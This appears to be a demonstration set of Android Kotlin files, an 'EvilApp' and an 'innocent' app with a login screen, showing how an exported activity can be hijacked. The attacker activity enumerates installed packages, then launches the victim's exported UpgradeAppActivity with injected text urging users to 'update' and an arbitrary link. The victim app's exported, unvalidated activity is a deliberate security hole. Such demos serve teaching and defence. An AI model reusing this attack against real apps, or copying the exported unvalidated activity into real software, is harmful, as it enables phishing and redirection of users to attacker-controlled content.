EvilApp.kt

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
        setSupportActionBar(toolbar)

        val packages
                = packageManager.getInstalledApplications(PackageManager.GET_META_DATA)

        packages.forEach {
            Log.d(TAG, "Package: ${it.packageName}, source: ${it.sourceDir}")
        }


        fab.setOnClickListener {
            doMischief()
        }

    }

    private fun doMischief() {
        val mainIntent = Intent(Intent.ACTION_MAIN)
        mainIntent.setClassName(
            "io.github.ktchernov.myinnocentapp",
            "io.github.ktchernov.myinnocentapp.ui.login.LoginActivity"
        )
        mainIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK.or(Intent.FLAG_ACTIVITY_CLEAR_TASK))
        applicationContext.startActivity(mainIntent)

        Handler().postDelayed( {
            val messageIntent = Intent()
            messageIntent.setClassName("io.github.ktchernov.myinnocentapp",
                "io.github.ktchernov.myinnocentapp.ui.login.UpgradeAppActivity")
            messageIntent.putExtra("MESSAGE_TITLE",
                "Problem Detected!")
            messageIntent.putExtra("MESSAGE_TEXT",
                "This text has been replaced by the malicious app! Please PRESS THE UPDATE BUTTON TO SECURE YOUR ACCOUNT!")
            messageIntent.putExtra("STORE_URI",
                Uri.parse("https://cdna.artstation.com/p/assets/images/images/003/934/042/large/sarfaraz-yeaseen-defaultdramatic-00000.jpg"))
            messageIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
            applicationContext.startActivity(messageIntent)
        }, 10000)

    }

    override fun onCreateOptionsMenu(menu: Menu): Boolean {
        // Inflate the menu; this adds items to the action bar if it is present.
        menuInflater.inflate(R.menu.menu_main, menu)
        return true
    }

    override fun onOptionsItemSelected(item: MenuItem): Boolean {
        // Handle action bar item clicks here. The action bar will
        // automatically handle clicks on the Home/Up button, so long
        // as you specify a parent activity in AndroidManifest.xml.
        return when (item.itemId) {
            R.id.action_settings -> true
            else -> super.onOptionsItemSelected(item)
        }
    }
}

Innocent - AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
          package="io.github.ktchernov.myinnocentapp">

    <application
            android:allowBackup="true"
            android:icon="@mipmap/ic_launcher"
            android:label="@string/app_name"
            android:roundIcon="@mipmap/ic_launcher_round"
            android:supportsRtl="true"
            android:theme="@style/AppTheme">
        <activity
                android:exported="true"
                android:theme="@style/TransparentActivity"
                android:name=".ui.login.UpgradeAppActivity"/>
        <activity
                android:name=".ui.login.LoginActivity"
                android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
    </application>

</manifest>

Innocent - LoginActivity.kt

package io.github.ktchernov.myinnocentapp.ui.login

import android.app.Activity
import android.content.Intent
import android.net.Uri
import androidx.lifecycle.Observer
import androidx.lifecycle.ViewModelProviders
import android.os.Bundle
import androidx.annotation.StringRes
import androidx.appcompat.app.AppCompatActivity
import android.text.Editable
import android.text.TextWatcher
import android.view.View
import android.view.inputmethod.EditorInfo
import android.widget.Button
import android.widget.EditText
import android.widget.ProgressBar
import android.widget.Toast

import io.github.ktchernov.myinnocentapp.R

class LoginActivity : AppCompatActivity() {

    private lateinit var loginViewModel: LoginViewModel

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        setContentView(R.layout.activity_login)

        val username = findViewById<EditText>(R.id.username)
        val password = findViewById<EditText>(R.id.password)
        val login = findViewById<Button>(R.id.login)
        val loading = findViewById<ProgressBar>(R.id.loading)
        val updateButton = findViewById<Button>(R.id.update_button)

        loginViewModel = ViewModelProviders.of(this, LoginViewModelFactory())
            .get(LoginViewModel::class.java)

        loginViewModel.loginFormState.observe(this@LoginActivity, Observer {
            val loginState = it ?: return@Observer

            // disable login button unless both username / password is valid
            login.isEnabled = loginState.isDataValid

            if (loginState.usernameError != null) {
                username.error = getString(loginState.usernameError)
            }
            if (loginState.passwordError != null) {
                password.error = getString(loginState.passwordError)
            }
        })

        loginViewModel.loginResult.observe(this@LoginActivity, Observer {
            val loginResult = it ?: return@Observer

            loading.visibility = View.GONE
            if (loginResult.error != null) {
                showLoginFailed(loginResult.error)
            }
            if (loginResult.success != null) {
                updateUiWithUser(loginResult.success)
            }
            setResult(Activity.RESULT_OK)

            //Complete and destroy login activity once successful
            finish()
        })

        username.afterTextChanged {
            loginViewModel.loginDataChanged(
                username.text.toString(),
                password.text.toString()
            )
        }

        password.apply {
            afterTextChanged {
                loginViewModel.loginDataChanged(
                    username.text.toString(),
                    password.text.toString()
                )
            }

            setOnEditorActionListener { _, actionId, _ ->
                when (actionId) {
                    EditorInfo.IME_ACTION_DONE ->
                        loginViewModel.login(
                            username.text.toString(),
                            password.text.toString()
                        )
                }
                false
            }

            login.setOnClickListener {
                loading.visibility = View.VISIBLE
                loginViewModel.login(username.text.toString(), password.text.toString())
            }
        }

        updateButton.setOnClickListener {
            Intent(this, UpgradeAppActivity::class.java).apply {
                putExtra("MESSAGE_TITLE",
                    "New App Version!")
                putExtra("MESSAGE_TEXT",
                    "Please update your app to get the latest and greatest features!")
                putExtra("STORE_URI",
                    Uri.parse("https://play.google.com/store/apps/details?id=com.microsoft.bing"))

                startActivity(this)
            }
        }
    }

    private fun updateUiWithUser(model: LoggedInUserView) {
        val welcome = getString(R.string.welcome)
        val displayName = model.displayName
        // TODO : initiate successful logged in experience
        Toast.makeText(
            applicationContext,
            "$welcome $displayName",
            Toast.LENGTH_LONG
        ).show()
    }

    private fun showLoginFailed(@StringRes errorString: Int) {
        Toast.makeText(applicationContext, errorString, Toast.LENGTH_SHORT).show()
    }
}

/**
 * Extension function to simplify setting an afterTextChanged action to EditText components.
 */
fun EditText.afterTextChanged(afterTextChanged: (String) -> Unit) {
    this.addTextChangedListener(object : TextWatcher {
        override fun afterTextChanged(editable: Editable?) {
            afterTextChanged.invoke(editable.toString())
        }

        override fun beforeTextChanged(s: CharSequence, start: Int, count: Int, after: Int) {}

        override fun onTextChanged(s: CharSequence, start: Int, before: Int, count: Int) {}
    })
}

Innocent - styles.xml

<resources>

    <!-- Base application theme. -->
    <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">
        <!-- Customize your theme here. -->
        <item name="colorPrimary">@color/colorPrimary</item>
        <item name="colorPrimaryDark">@color/colorPrimaryDark</item>
        <item name="colorAccent">@color/colorAccent</item>
    </style>

    <style name="TransparentActivity" parent="AppTheme">
        <item name="android:windowNoTitle">true</item>
        <item name="android:windowBackground">@android:color/transparent</item>
        <item name="android:colorBackgroundCacheHint">@null</item>
        <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>
        <item name="android:windowIsTranslucent">true</item>
        <item name="android:windowTranslucentStatus">true</item>
        <item name="android:statusBarColor">@android:color/transparent</item>
    </style>
</resources>

Innocent - UpgradeAppActivity.kt

package io.github.ktchernov.myinnocentapp.ui.login

import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import androidx.appcompat.app.AlertDialog
import android.content.Intent
import android.net.Uri


class UpgradeAppActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val updateTitle = intent?.extras?.getString("MESSAGE_TITLE")
        val updateText  = intent?.extras?.getString("MESSAGE_TEXT")
        val appStoreUri = intent?.extras?.getParcelable<Uri>("STORE_URI")

        AlertDialog.Builder(this)
            .setTitle(updateTitle)
            .setMessage(updateText)
            .setPositiveButton("Update") { _, _ ->
                val openLinkIntent = Intent(Intent.ACTION_VIEW, appStoreUri)
                startActivity(openLinkIntent)
            }
            .show()
    }
}